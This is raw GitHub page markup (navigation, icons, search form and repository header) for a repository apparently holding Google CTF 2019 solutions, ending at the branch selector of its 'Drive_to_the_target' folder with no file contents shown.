<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="200424356" data-scoped-search-url="/Alevsk/google-ctf-2019/search" data-owner-scoped-search-url="/users/Alevsk/search" data-unscoped-search-url="/search" data-turbo="false" action="/Alevsk/google-ctf-2019/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="rVmQnKV4fDvTdGz1Gw3E61rmUzcX8J9rtIOU4qHVx3wKCdY4sFeVrixxGBV9hmu+ys+9yt5RCgDjQrWCRDS6rw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> Alevsk </span> <span>/</span> google-ctf-2019
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/Alevsk/google-ctf-2019/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":200424356,"originating_url":"https://github.com/Alevsk/google-ctf-2019/tree/master/Drive_to_the_target","user_id":null}}" data-hydro-click-hmac="6460c77944aa41cac20afee336a36839ae795ddec1036c7f0c773784d8baebd3"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
